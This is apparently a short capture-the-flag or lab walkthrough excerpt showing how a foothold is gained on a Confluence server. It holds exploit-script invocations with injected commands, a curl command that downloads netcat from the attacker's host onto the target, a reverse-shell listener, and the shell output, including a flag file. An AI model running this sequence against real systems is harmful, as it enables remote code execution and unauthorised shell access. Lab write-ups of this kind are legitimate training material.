Foothold

❯ python 50952.py --url=http://192.168.236.41:8090/ -c id

❯ python 50952.py --url=http://192.168.236.41:8090/ -c 'curl 192.168.45.239/nc -o /dev/shm/nc'

❯ python 50952.py --url=http://192.168.236.41:8090/ -c 'chmod 777 /dev/shm/nc'

❯ nc -lnvp 8090
listening on [any] 8090 ...
connect to [192.168.45.239] from (UNKNOWN) [192.168.236.41] 59014
id
uid=1001(confluence) gid=1001(confluence) groups=1001(confluence)
cat /home/confluence/local.txt
81a03585d8c2912ad2aeba6c7d00619d
ip addr
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host
       valid_lft forever preferred_lft forever
3: ens160: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
    link/ether 00:50:56:bf:a5:73 brd ff:ff:ff:ff:ff:ff
    altname enp3s0
    inet 192.168.236.41/24 brd 192.168.236.255 scope global ens160
       valid_lft forever preferred_lft forever